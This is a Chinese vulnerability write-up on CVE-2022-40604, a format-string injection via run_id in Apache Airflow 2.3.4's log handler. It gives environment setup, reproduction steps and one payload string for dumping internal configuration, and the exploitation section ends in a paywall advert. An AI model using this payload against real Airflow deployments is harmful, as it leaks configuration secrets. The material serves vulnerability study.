CVE-2022–40604 漏洞源于 src/airflow/utils/log/file_task_handler.py
|
||||
中日志 URL 构建中的字符串格式化不当。
|
||||
|
||||
具体来说, log_relative_path
|
||||
变量包含了用户控制的 run_id
|
||||
,不安全地传递给了 .format()
|
||||
调用,使攻击者能够注入恶意格式字符串并提取敏感配置数据。
|
||||
# 为什么格式化字符串很重要
|
||||
|
||||
格式化字符串漏洞发生在用户输入未经适当清理就直接被包含在字符串格式化函数中(例如 Python 的 .format()
|
||||
或 C 的 printf
|
||||
)。
|
||||
|
||||
在 Airflow 的情况下,攻击者可以通过 run_id
|
||||
参数控制 log_relative_path
|
||||
的部分内容,从而允许他们构建格式化字符串 {ti.task.__class__.__init__.__globals__[conf].__dict__}
|
||||
来访问内部配置对象。
|
||||
# 测试环境搭建
|
||||
## Docker 搭建
|
||||
|
||||
docker run -p 8080:8080 apache/airflow:2.3.4
|
||||
## pip 安装方式
|
||||
```
|
||||
pip install apache-airflow==2.3.4 airflow db init airflow webserver -p 8080
|
||||
```
|
||||
# 漏洞复现
|
||||
|
||||
该漏洞存在于 Airflow 任务处理器的日志机制中。 file_task_handler.py
|
||||
中的恶意代码为:
|
||||
```
|
||||
url = os.path.join("http://{ti.hostname}:{worker_log_server_port}/log", log_relative_path).format( ti=ti, worker_log_server_port=conf.get('logging', 'WORKER_LOG_SERVER_PORT') )
|
||||
```
|
||||
|
||||
这里的 log_relative_path
|
||||
包含了用户控制的 run_id
|
||||
,从而受到格式字符串注入攻击。
|
||||
## 复现过程
|
||||
1. 访问 DAGs 菜单:
|
||||
|
||||
1. 登录 Airflow 的 Web 界面,例如 :http://localhost:8080
|
||||
|
||||
1. 导航至 DAGs 并选择一个 DAG(例如: example_xcom
|
||||
)
|
||||
|
||||
1. 查看日志 URL:
|
||||
|
||||
1. 触发一个 DAG,查看日志(Log)选项卡中的任务
|
||||
|
||||
1. 捕获 /get_logs_with_metadata
|
||||
的请求
|
||||
|
||||
1. 示例 URL:
|
||||
|
||||
```
|
||||
/get_logs_with_metadata?dag_id=example_xcom&task_id=push_by_returning&map_index=-1&execution_date=2022-08-29T13:25:11+00:00&try_number=1&metadata=null
|
||||
```
|
||||
1. 识别用户控制输入:
|
||||
|
||||
1. 触发 DAG 时设置的 run_id
|
||||
参数会影响 log_relative_path
|
||||
|
||||
1. 测试 run_id
|
||||
是否可以操纵格式化的 URL
|
||||
|
||||
### 漏洞利用
|
||||
|
||||
- 加入星球,畅享阅读 -
|
||||
|
||||
**********(会员统一定价):128元/年(0.35元/天)******
|
||||

|
||||
|
||||
**感谢阅读,如果觉得还不错的话,欢迎分享给更多喜爱的朋友~**
|
||||
|
||||
Reference in new issue
Block a user